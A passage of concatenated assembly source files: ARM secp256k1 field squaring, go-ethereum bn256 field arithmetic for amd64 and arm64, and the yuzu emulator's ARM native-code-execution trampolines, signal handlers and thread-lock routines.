r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A interleaved with B */ ldr r0, [r1, #1*4] @ a[1]*2 ldr r7, [r1, #0*4] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #9*4] @ a[9] umull r3, r4, r7, r7 @ c = a[0] * a[0] ldr r8, [r1, #8*4] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]*2 * a[9] ldr r7, [r1, #2*4] @ a[2]*2 umull r9, r10, r0, r14 @ d' = a[1]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #3*4] @ a[3]*2 umlal r9, r10, r7, r8 @ d' += a[2]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umlal r9, r10, r0, r14 @ d' += a[3]*2 * a[7] ldr r14, [r1, #5*4] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]*2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[6] umlal r5, r6, r7, r14 @ d += a[4]*2 * a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 9*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C interleaved with D */ ldr r0, [r1, #0*4] @ a[0]*2 ldr r14, [r1, #1*4] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #2*4] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]*2 * a[1] mov r7, r8, asl #1 @ a[2]*2 umull r11, r12, r14, r14 @ c' = a[1] * a[1] ldr r14, [r1, #9*4] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]*2 * a[2] ldr r0, [r1, #3*4] @ a[3]*2 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umull r9, r10, r0, r14 @ d' = a[3]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #5*4] @ a[5]*2 umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]*2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]*2 * a[7] umlal r5, r6, r0, r8 @ d += a[5]*2 * a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E interleaved with F */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 ldr r14, [r1, #2*4] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] ldr r2, [r1, #4*4] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[4] mov r2, r2, asl #1 @ a[4]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[3] ldr r8, [r1, #9*4] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[2] ldr r0, [r1, #5*4] @ a[5]*2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #8*4] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]*2 * a[9] ldr r7, [r1, #6*4] @ a[6]*2 umull r9, r10, r0, r8 @ d' = a[5]*2 * a[9] mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]*2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]*2 * a[8] umlal r5, r6, r7, r8 @ d += a[6]*2 * a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G interleaved with H */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #5*4] @ a[5] ldr r2, [r1, #6*4] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[5] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[6] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[5] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[4] mov r0, r2, asl #1 @ a[6]*2 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[4] ldr r14, [r1, #9*4] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]*2 * a[3] ldr r7, [r1, #7*4] @ a[7]*2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]*2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]*2 * a[9] umlal r5, r6, r7, r8 @ d += a[7]*2 * a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I interleaved with J */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] ldr r2, [r1, #8*4] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[7] ldr r14, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[8] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[7] ldr r8, [r1, #5*4] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[6] ldr r0, [r1, #3*4] @ a[3]*2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[6] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]*2 * a[5] mov r2, r2, asl #1 @ a[8]*2 umlal r11, r12, r0, r8 @ c' += a[3]*2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]*2 * a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #9*4] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]*2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] * a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner
OSUSecLab/TxSpector
2,200
go-ethereum/crypto/bn256/cloudflare/gfp_amd64.s
// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,R15,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,R15,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), R15 MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, R15 ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ R15, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,R15, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,R15, 0(DI)) RET
OSUSecLab/TxSpector
1,870
go-ethereum/crypto/bn256/cloudflare/gfp_arm64.s
// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET
ourfavoritefruits/yuzu
9,323
src/core/arm/nce/arm_nce.s
/* SPDX-FileCopyrightText: Copyright 2023 yuzu Emulator Project */ /* SPDX-License-Identifier: GPL-2.0-or-later */ #include "core/arm/nce/arm_nce_asm_definitions.h" #define LOAD_IMMEDIATE_32(reg, val) \ mov reg, #(((val) >> 0x00) & 0xFFFF); \ movk reg, #(((val) >> 0x10) & 0xFFFF), lsl #16 /* static HaltReason Core::ArmNce::ReturnToRunCodeByTrampoline(void* tpidr, Core::GuestContext* ctx, u64 trampoline_addr) */ .section .text._ZN4Core6ArmNce27ReturnToRunCodeByTrampolineEPvPNS_12GuestContextEm, "ax", %progbits .global _ZN4Core6ArmNce27ReturnToRunCodeByTrampolineEPvPNS_12GuestContextEm .type _ZN4Core6ArmNce27ReturnToRunCodeByTrampolineEPvPNS_12GuestContextEm, %function _ZN4Core6ArmNce27ReturnToRunCodeByTrampolineEPvPNS_12GuestContextEm: /* Back up host sp to x3. */ /* Back up host tpidr_el0 to x4. */ mov x3, sp mrs x4, tpidr_el0 /* Load guest sp. x5 is used as a scratch register. */ ldr x5, [x1, #(GuestContextSp)] mov sp, x5 /* Offset GuestContext pointer to the host member. */ add x5, x1, #(GuestContextHostContext) /* Save original host sp and tpidr_el0 (x3, x4) to host context. */ stp x3, x4, [x5, #(HostContextSpTpidrEl0)] /* Save all callee-saved host GPRs. */ stp x19, x20, [x5, #(HostContextRegs+0x0)] stp x21, x22, [x5, #(HostContextRegs+0x10)] stp x23, x24, [x5, #(HostContextRegs+0x20)] stp x25, x26, [x5, #(HostContextRegs+0x30)] stp x27, x28, [x5, #(HostContextRegs+0x40)] stp x29, x30, [x5, #(HostContextRegs+0x50)] /* Save all callee-saved host FPRs. */ stp q8, q9, [x5, #(HostContextVregs+0x0)] stp q10, q11, [x5, #(HostContextVregs+0x20)] stp q12, q13, [x5, #(HostContextVregs+0x40)] stp q14, q15, [x5, #(HostContextVregs+0x60)] /* Load guest tpidr_el0 from argument. */ msr tpidr_el0, x0 /* Tail call the trampoline to restore guest state. */ br x2 /* static HaltReason Core::ArmNce::ReturnToRunCodeByExceptionLevelChange(int tid, void* tpidr) */ .section .text._ZN4Core6ArmNce37ReturnToRunCodeByExceptionLevelChangeEiPv, "ax", %progbits .global _ZN4Core6ArmNce37ReturnToRunCodeByExceptionLevelChangeEiPv .type _ZN4Core6ArmNce37ReturnToRunCodeByExceptionLevelChangeEiPv, %function _ZN4Core6ArmNce37ReturnToRunCodeByExceptionLevelChangeEiPv: /* This jumps to the signal handler, which will restore the entire context. */ /* On entry, x0 = thread id, which is already in the right place. */ /* Move tpidr to x9 so it is not trampled. */ mov x9, x1 /* Set up arguments. */ mov x8, #(__NR_tkill) mov x1, #(ReturnToRunCodeByExceptionLevelChangeSignal) /* Tail call the signal handler. */ svc #0 /* Block execution from flowing here. */ brk #1000 /* static void Core::ArmNce::ReturnToRunCodeByExceptionLevelChangeSignalHandler(int sig, void* info, void* raw_context) */ .section .text._ZN4Core6ArmNce50ReturnToRunCodeByExceptionLevelChangeSignalHandlerEiPvS1_, "ax", %progbits .global _ZN4Core6ArmNce50ReturnToRunCodeByExceptionLevelChangeSignalHandlerEiPvS1_ .type _ZN4Core6ArmNce50ReturnToRunCodeByExceptionLevelChangeSignalHandlerEiPvS1_, %function _ZN4Core6ArmNce50ReturnToRunCodeByExceptionLevelChangeSignalHandlerEiPvS1_: stp x29, x30, [sp, #-0x10]! mov x29, sp /* Call the context restorer with the raw context. */ mov x0, x2 bl _ZN4Core6ArmNce19RestoreGuestContextEPv /* Save the old value of tpidr_el0. */ mrs x8, tpidr_el0 ldr x9, [x0, #(TpidrEl0NativeContext)] str x8, [x9, #(GuestContextHostContext + HostContextTpidrEl0)] /* Set our new tpidr_el0. */ msr tpidr_el0, x0 /* Unlock the context. */ bl _ZN4Core6ArmNce22UnlockThreadParametersEPv /* Returning from here will enter the guest. */ ldp x29, x30, [sp], #0x10 ret /* static void Core::ArmNce::BreakFromRunCodeSignalHandler(int sig, void* info, void* raw_context) */ .section .text._ZN4Core6ArmNce29BreakFromRunCodeSignalHandlerEiPvS1_, "ax", %progbits .global _ZN4Core6ArmNce29BreakFromRunCodeSignalHandlerEiPvS1_ .type _ZN4Core6ArmNce29BreakFromRunCodeSignalHandlerEiPvS1_, %function _ZN4Core6ArmNce29BreakFromRunCodeSignalHandlerEiPvS1_: /* Check to see if we have the correct TLS magic. */ mrs x8, tpidr_el0 ldr w9, [x8, #(TpidrEl0TlsMagic)] LOAD_IMMEDIATE_32(w10, TlsMagic) cmp w9, w10 b.ne 1f /* Correct TLS magic, so this is a guest interrupt. */ /* Restore host tpidr_el0. */ ldr x0, [x8, #(TpidrEl0NativeContext)] ldr x3, [x0, #(GuestContextHostContext + HostContextTpidrEl0)] msr tpidr_el0, x3 /* Tail call the restorer. */ mov x1, x2 b _ZN4Core6ArmNce16SaveGuestContextEPNS_12GuestContextEPv /* Returning from here will enter host code. */ 1: /* Incorrect TLS magic, so this is a spurious signal. */ ret /* static void Core::ArmNce::GuestAlignmentFaultSignalHandler(int sig, void* info, void* raw_context) */ .section .text._ZN4Core6ArmNce32GuestAlignmentFaultSignalHandlerEiPvS1_, "ax", %progbits .global _ZN4Core6ArmNce32GuestAlignmentFaultSignalHandlerEiPvS1_ .type _ZN4Core6ArmNce32GuestAlignmentFaultSignalHandlerEiPvS1_, %function _ZN4Core6ArmNce32GuestAlignmentFaultSignalHandlerEiPvS1_: /* Check to see if we have the correct TLS magic. */ mrs x8, tpidr_el0 ldr w9, [x8, #(TpidrEl0TlsMagic)] LOAD_IMMEDIATE_32(w10, TlsMagic) cmp w9, w10 b.eq 1f /* Incorrect TLS magic, so this is a host fault. */ /* Tail call the handler. */ b _ZN4Core6ArmNce24HandleHostAlignmentFaultEiPvS1_ 1: /* Correct TLS magic, so this is a guest fault. */ stp x29, x30, [sp, #-0x20]! str x19, [sp, #0x10] mov x29, sp /* Save the old tpidr_el0. */ mov x19, x8 /* Restore host tpidr_el0. */ ldr x0, [x8, #(TpidrEl0NativeContext)] ldr x3, [x0, #(GuestContextHostContext + HostContextTpidrEl0)] msr tpidr_el0, x3 /* Call the handler. */ bl _ZN4Core6ArmNce25HandleGuestAlignmentFaultEPNS_12GuestContextEPvS3_ /* If the handler returned false, we want to preserve the host tpidr_el0. */ cbz x0, 2f /* Otherwise, restore guest tpidr_el0. */ msr tpidr_el0, x19 2: ldr x19, [sp, #0x10] ldp x29, x30, [sp], #0x20 ret /* static void Core::ArmNce::GuestAccessFaultSignalHandler(int sig, void* info, void* raw_context) */ .section .text._ZN4Core6ArmNce29GuestAccessFaultSignalHandlerEiPvS1_, "ax", %progbits .global _ZN4Core6ArmNce29GuestAccessFaultSignalHandlerEiPvS1_ .type _ZN4Core6ArmNce29GuestAccessFaultSignalHandlerEiPvS1_, %function _ZN4Core6ArmNce29GuestAccessFaultSignalHandlerEiPvS1_: /* Check to see if we have the correct TLS magic. */ mrs x8, tpidr_el0 ldr w9, [x8, #(TpidrEl0TlsMagic)] LOAD_IMMEDIATE_32(w10, TlsMagic) cmp w9, w10 b.eq 1f /* Incorrect TLS magic, so this is a host fault. */ /* Tail call the handler. */ b _ZN4Core6ArmNce21HandleHostAccessFaultEiPvS1_ 1: /* Correct TLS magic, so this is a guest fault. */ stp x29, x30, [sp, #-0x20]! str x19, [sp, #0x10] mov x29, sp /* Save the old tpidr_el0. */ mov x19, x8 /* Restore host tpidr_el0. */ ldr x0, [x8, #(TpidrEl0NativeContext)] ldr x3, [x0, #(GuestContextHostContext + HostContextTpidrEl0)] msr tpidr_el0, x3 /* Call the handler. */ bl _ZN4Core6ArmNce22HandleGuestAccessFaultEPNS_12GuestContextEPvS3_ /* If the handler returned false, we want to preserve the host tpidr_el0. */ cbz x0, 2f /* Otherwise, restore guest tpidr_el0. */ msr tpidr_el0, x19 2: ldr x19, [sp, #0x10] ldp x29, x30, [sp], #0x20 ret /* static void Core::ArmNce::LockThreadParameters(void* tpidr) */ .section .text._ZN4Core6ArmNce20LockThreadParametersEPv, "ax", %progbits .global _ZN4Core6ArmNce20LockThreadParametersEPv .type _ZN4Core6ArmNce20LockThreadParametersEPv, %function _ZN4Core6ArmNce20LockThreadParametersEPv: /* Offset to lock member. */ add x0, x0, #(TpidrEl0Lock) 1: /* Clear the monitor. */ clrex 2: /* Load-linked with acquire ordering. */ ldaxr w1, [x0] /* If the value was SpinLockLocked, clear monitor and retry. */ cbz w1, 1b /* Store-conditional SpinLockLocked with relaxed ordering. */ stxr w1, wzr, [x0] /* If we failed to store, retry. */ cbnz w1, 2b ret /* static void Core::ArmNce::UnlockThreadParameters(void* tpidr) */ .section .text._ZN4Core6ArmNce22UnlockThreadParametersEPv, "ax", %progbits .global _ZN4Core6ArmNce22UnlockThreadParametersEPv .type _ZN4Core6ArmNce22UnlockThreadParametersEPv, %function _ZN4Core6ArmNce22UnlockThreadParametersEPv: /* Offset to lock member. */ add x0, x0, #(TpidrEl0Lock) /* Load SpinLockUnlocked. */ mov w1, 